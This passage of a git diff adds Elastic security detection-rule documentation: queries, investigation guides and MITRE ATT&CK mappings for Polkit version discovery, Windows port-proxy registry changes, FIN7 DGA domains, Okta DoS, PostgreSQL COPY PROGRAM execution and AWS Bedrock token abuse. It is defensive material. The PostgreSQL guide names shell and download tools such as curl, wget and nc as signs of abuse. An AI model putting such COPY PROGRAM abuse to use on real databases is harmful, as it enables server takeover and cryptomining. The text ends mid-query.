"/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/usr/lib/systemd/systemd", + "/usr/sbin/sshd", "/usr/bin/gitlab-runner", "/opt/gitlab/embedded/bin/ruby", "/usr/sbin/gdm", "/usr/bin/install", + "/usr/local/manageengine/uems_agent/bin/dcregister", "/usr/local/bin/pacman", "./usr/bin/podman", + "/kaniko/executor", "/opt/kaniko/executor", "/usr/bin/buildah", "/usr/lib/cargo/bin/coreutils/install" + ) or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", + "/var/lib/containers/storage/overlay/*/dockerd", "/var/lib/docker/overlay2/*/dockerd" + ) or + (process.name like "python*" and file.name like ".ansible_tmp*.rules") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-polkit-version-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-polkit-version-discovery.asciidoc new file mode 100644 index 0000000000..dca65a8112 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-polkit-version-discovery.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-polkit-version-discovery]] +=== Polkit Version Discovery + +This rule detects Polkit version discovery activity on Linux systems. Polkit version discovery can be an indication of an attacker attempting to exploit misconfigurations or vulnerabilities in the Polkit service. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Polkit Version Discovery* + + +Polkit, a system service in Linux, manages system-wide privileges, enabling non-privileged processes to communicate with privileged ones. Adversaries may exploit Polkit by discovering its version to identify vulnerabilities or misconfigurations. The detection rule identifies suspicious activities by monitoring specific command executions related to Polkit version checks, signaling potential reconnaissance efforts by attackers. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the command used for Polkit version discovery, focusing on the process name and arguments such as "dnf", "rpm", "apt", or "pkaction". +- Check the user account associated with the process execution to determine if it is a legitimate user or potentially compromised. +- Investigate the host from which the command was executed to assess if it has a history of suspicious activities or if it is a high-value target. +- Correlate the event with other logs or alerts to identify if there are additional indicators of compromise or related reconnaissance activities. +- Evaluate the necessity and frequency of Polkit version checks in the environment to determine if this behavior is expected or anomalous. + + +*False positive analysis* + + +- Routine system updates or package management activities may trigger the rule when administrators use package managers like dnf, rpm, or apt to check for updates or verify installed packages. To mitigate this, create exceptions for known administrative scripts or user accounts that regularly perform these actions. +- Automated system monitoring tools that check software versions for compliance or inventory purposes might also cause false positives. Identify these tools and exclude their processes from triggering the rule. +- Developers or system administrators testing Polkit configurations or updates might execute version checks as part of their workflow. Consider excluding specific user accounts or process paths associated with development and testing environments. +- Security audits or vulnerability assessments conducted by internal teams may involve version checks as part of their procedures. Coordinate with these teams to whitelist their activities during scheduled assessments. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Terminate any suspicious processes identified in the alert, such as those involving the execution of Polkit version discovery commands. +- Conduct a thorough review of system logs and command history to identify any unauthorized access or further malicious activities. +- Apply any available security patches or updates to the Polkit service to address known vulnerabilities. +- Implement stricter access controls and monitoring on systems running Polkit to prevent unauthorized version checks and other reconnaissance activities. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Enhance detection capabilities by configuring alerts for similar reconnaissance activities across the network to ensure early detection of potential threats. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "process_started", "executed") and ( + (process.name == "dnf" and process.args == "dnf" and process.args == "info" and process.args == "polkit") or + (process.name == "rpm" and process.args == "polkit") or + (process.name == "apt" and process.args == "show" and process.args == "policykit-1") or + (process.name == "pkaction" and process.args == "--version") +) and +not ( + ?process.working_directory in ("/opt/msp-agent", "/opt/CyberCNSAgent") or + ?process.parent.executable like ("/usr/local/cpanel/3rdparty/perl/*/bin/perl", "/usr/share/vicarius/topiad") or + ?process.entry_leader.executable in ("/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent", "/sf/edr/agent/bin/edr_monitor") or + ( + ?process.parent.args == "/usr/lib/venv-salt-minion/bin/python.original" and + ?process.parent.args == "/usr/lib/venv-salt-minion/bin/salt-minion" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-port-forwarding-rule-addition.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-port-forwarding-rule-addition.asciidoc new file mode 100644 index 0000000000..0b2dd566e5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-port-forwarding-rule-addition.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-port-forwarding-rule-addition]] +=== Port Forwarding Rule Addition + +Identifies the creation of a new port forwarding rule. An adversary may abuse this technique to bypass network segmentation restrictions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 420 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Port Forwarding Rule Addition* + + +Network port forwarding is a mechanism to redirect incoming TCP connections (IPv4 or IPv6) from the local TCP port to any other port number, or even to a port on a remote computer. + +Attackers may configure port forwarding rules to bypass network segmentation restrictions, using the host as a jump box to access previously unreachable systems. + +This rule monitors the modifications to the `HKLM\SYSTEM\*ControlSet*\Services\PortProxy\v4tov4\` subkeys. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account and system owners and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Identify the target host IP address, check the connections originating from the host where the modification occurred, and inspect the credentials used. + - Investigate suspicious login activity, such as unauthorized access and logins from outside working hours and unusual locations. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the Administrator is aware of the activity and there are justifications for this configuration. +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Delete the port forwarding rule. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : "*\\SYSTEM\\*ControlSet*\\Services\\PortProxy\\v4tov4\\*" and registry.data.strings != null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: Internal Proxy +** ID: T1090.001 +** Reference URL: https://attack.mitre.org/techniques/T1090/001/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-possible-fin7-dga-command-and-control-behavior.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-possible-fin7-dga-command-and-control-behavior.asciidoc new file mode 100644 index 0000000000..31f7114e48 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-possible-fin7-dga-command-and-control-behavior.asciidoc @@ -0,0 +1,97 @@ +[[prebuilt-rule-8-19-34-possible-fin7-dga-command-and-control-behavior]] +=== Possible FIN7 DGA Command and Control Behavior + +This rule detects a known command and control pattern in network events. The FIN7 threat group is known to use this command and control technique, while maintaining persistence in their target's network. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Rule Type: ES|QL +* Data Source: PAN-OS +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +In the event this rule identifies benign domains in your environment, the `destination.domain` exclusion in the rule can be modified to include those domains. Example: `... | where destination.domain not in ("zoom.us", "benign.domain1", "benign.domain2")`. + +==== Rule query + + +[source, js] +---------------------------------- +from packetbeat-*, filebeat-*, logs-network_traffic.*, logs-panw.panos* metadata _id, _version, _index +| where ( + data_stream.dataset in ("network_traffic.tls", "network_traffic.http") or + ( + data_stream.dataset == "panw.panos" and + network.application in ("ssl", "web-browsing") and network.transport == "tcp" + ) or + (event.category in ("network", "network_traffic") and network.protocol in ("tls", "http") and network.transport == "tcp") + ) +| where destination.domain RLIKE "[a-zA-Z]{4,5}\\.(pw|us|club|info|site|top)" +| where destination.domain != "zoom.us" +| keep @timestamp, destination.domain, source.ip, destination.ip, network.protocol, network.transport, data_stream.dataset, _id, _version, _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-possible-okta-dos-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-possible-okta-dos-attack.asciidoc new file mode 100644 index 0000000000..d7472dffb4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-possible-okta-dos-attack.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-possible-okta-dos-attack]] +=== Possible Okta DoS Attack + +Detects possible Denial of Service (DoS) attacks against an Okta organization. An adversary may attempt to disrupt an organization's business operations by performing a DoS attack against its Okta service. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Possible Okta DoS Attack* + + +Okta, a leading identity management service, is crucial for managing user access in organizations. Adversaries may exploit Okta by overwhelming it with requests, causing service disruptions. The detection rule identifies potential DoS attacks by monitoring specific Okta system events that indicate rate limit violations, signaling attempts to degrade service availability. + + +*Possible investigation steps* + + +- Review the specific Okta system events that triggered the alert, focusing on event.action values such as application.integration.rate_limit_exceeded, system.org.rate_limit.warning, system.org.rate_limit.violation, and core.concurrency.org.limit.violation to understand the nature of the rate limit violations. +- Analyze the frequency and pattern of the triggered events to determine if there is a consistent or unusual spike in requests that could indicate a DoS attack. +- Identify the source IP addresses or user accounts associated with the excessive requests to determine if they are legitimate users or potential adversaries. +- Check for any recent changes or updates in the Okta configuration or integrations that might have inadvertently caused an increase in request rates. +- Correlate the Okta events with other network or application logs to identify any broader patterns or simultaneous attacks on other services that might suggest a coordinated effort. + + +*False positive analysis* + + +- High-volume legitimate user activity can trigger rate limit warnings. Monitor for patterns of normal usage spikes, such as during company-wide meetings or product launches, and consider setting exceptions for these events. +- Automated processes or integrations that frequently interact with Okta may cause rate limit violations. Identify these processes and adjust their request rates or set exceptions to prevent false positives. +- Scheduled batch jobs that access Okta services might exceed rate limits. Review and optimize the scheduling of these jobs to distribute the load more evenly or whitelist them if they are essential and non-disruptive. +- Third-party applications integrated with Okta could inadvertently cause rate limit issues. Work with vendors to ensure their applications are optimized for Okta's rate limits or create exceptions for trusted applications. +- Temporary spikes in user activity due to password resets or account provisioning can lead to false positives. Implement monitoring to distinguish between these benign activities and potential threats, and adjust the rule to accommodate expected spikes. + + +*Response and remediation* + + +- Immediately assess the impact on business operations by checking the availability and performance of Okta services. Coordinate with IT teams to ensure critical services remain operational. +- Contain the attack by implementing rate limiting or IP blocking for the identified sources of excessive requests. Use network security tools to enforce these restrictions. +- Notify the security operations center (SOC) and relevant stakeholders about the potential DoS attack to ensure awareness and coordinated response efforts. +- Review and adjust Okta's rate limit settings to mitigate the risk of future DoS attempts, ensuring they align with the organization's typical usage patterns. +- Escalate the incident to Okta support for further investigation and assistance in mitigating the attack, providing them with relevant logs and event details. +- Conduct a post-incident analysis to identify any gaps in the current security posture and update incident response plans accordingly. +- Enhance monitoring and alerting for similar threats by refining detection rules and ensuring they are tuned to capture early indicators of rate limit violations. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:(application.integration.rate_limit_exceeded or system.org.rate_limit.warning or system.org.rate_limit.violation or core.concurrency.org.limit.violation) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Network Denial of Service +** ID: T1498 +** Reference URL: https://attack.mitre.org/techniques/T1498/ +* Technique: +** Name: Endpoint Denial of Service +** ID: T1499 +** Reference URL: https://attack.mitre.org/techniques/T1499/ +* Sub-technique: +** Name: Service Exhaustion Flood +** ID: T1499.002 +** Reference URL: https://attack.mitre.org/techniques/T1499/002/ +* Sub-technique: +** Name: Application Exhaustion Flood +** ID: T1499.003 +** Reference URL: https://attack.mitre.org/techniques/T1499/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-postgresql-copy-program-command-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-postgresql-copy-program-command-execution.asciidoc new file mode 100644 index 0000000000..9183e5884b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-postgresql-copy-program-command-execution.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-postgresql-copy-program-command-execution]] +=== PostgreSQL COPY PROGRAM Command Execution + +Identifies PostgreSQL "COPY" statements that invoke an operating-system command through the "PROGRAM" option. A superuser or role with "pg_execute_server_program" can use this feature to execute arbitrary commands as the PostgreSQL service account, a technique used after credential compromise and by cryptomining campaigns. + +*Rule type*: eql + +*Rule indices*: + +* logs-network_traffic.pgsql-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.postgresql.org/docs/current/sql-copy.html +* https://www.aquasec.com/blog/pg_mem-a-malware-hidden-in-the-postgres-processes/ +* https://www.wiz.io/blog/postgresql-cryptomining +* https://attack.mitre.org/techniques/T1059/ + +*Tags*: + +* Domain: Network +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Event Correlation (EQL) + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PostgreSQL COPY PROGRAM Command Execution* + + +PostgreSQL supports `COPY ... FROM PROGRAM` and `COPY ... TO PROGRAM` for server-side process execution. Attackers who obtain a privileged database identity can use this feature to launch shells, download payloads, establish persistence, or deploy cryptominers from the PostgreSQL process context. + + +*Possible investigation steps* + + +- Review `client.ip`, `server.ip`, `network.community_id`, `network_traffic.pgsql.query`, and PostgreSQL error fields. +- Extract the command passed to `PROGRAM` and identify referenced shells, interpreters, downloaders, files, or network destinations. +- Confirm the database role and whether it has superuser or `pg_execute_server_program` privileges using PostgreSQL audit and server logs. +- Correlate the event with endpoint telemetry for `postgres` spawning `sh`, `bash`, `curl`, `wget`, `python`, `perl`, `nc`, miners, or other unusual child processes. +- Search earlier events from the client for authentication failures, role changes, extension creation, or database enumeration. + + +*False positive analysis* + + +- Approved ETL, backup, and administrative automation can use COPY PROGRAM. +- Scope exceptions to a documented client, command family, and maintenance context; do not globally exclude the `PROGRAM` keyword. + + +*Response and remediation* + + +- Terminate the database session and isolate the server if unauthorized process execution is confirmed. +- Preserve PostgreSQL, endpoint, and network evidence and remove malicious processes or persistence. +- Rotate affected credentials and revoke unnecessary superuser and `pg_execute_server_program` privileges. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic Network Packet Capture integration with the PostgreSQL protocol analyzer enabled and +cleartext visibility into PostgreSQL query traffic. TLS-encrypted sessions, prepared statements, packet loss, and +asymmetric capture can hide or fragment query text. Use PostgreSQL audit logs and endpoint process telemetry to confirm +the database identity and command execution outcome. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "network_traffic.pgsql" and + ( + network_traffic.pgsql.query like~ "*copy*from*program*" or + network_traffic.pgsql.query like~ "*copy*to*program*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-abuse-of-resources-by-high-token-count-and-large-response-sizes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-abuse-of-resources-by-high-token-count-and-large-response-sizes.asciidoc new file mode 100644 index 0000000000..451c00a087 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-abuse-of-resources-by-high-token-count-and-large-response-sizes.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-potential-abuse-of-resources-by-high-token-count-and-large-response-sizes]] +=== Potential Abuse of Resources by High Token Count and Large Response Sizes + +Detects potential resource exhaustion or data breach attempts by monitoring for users who consistently generate high input token counts, submit numerous requests, and receive large responses. This behavior could indicate an attempt to overload the system or extract an unusually large amount of data, possibly revealing sensitive information or causing service disruptions. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0051 +* https://owasp.org/www-project-top-10-for-large-language-model-applications/ +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Potential Overload +* Use Case: Resource Exhaustion +* Mitre Atlas: LLM04 +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Domain: GenAI +* Service: AWS S3 +* Service: AWS Bedrock + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Abuse of Resources by High Token Count and Large Response Sizes* + + +Amazon Bedrock is AWS’s managed service that enables developers to build and scale generative AI applications using large foundation models (FMs) from top providers. + +Bedrock offers a variety of pretrained models from Amazon (such as the Titan series), as well as models from providers like Anthropic, Meta, Cohere, and AI21 Labs. + + +*Possible investigation steps* + + +- Identify the user account that used high prompt token counts and whether it should perform this kind of action. +- Investigate large response sizes and the number of requests made by the user account. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that used high prompt and large response sizes, has a business justification for the heavy usage of the system. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. + - Identify potential resource exhaustion and impact on billing. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// keep token usage data +| keep + user.id, + 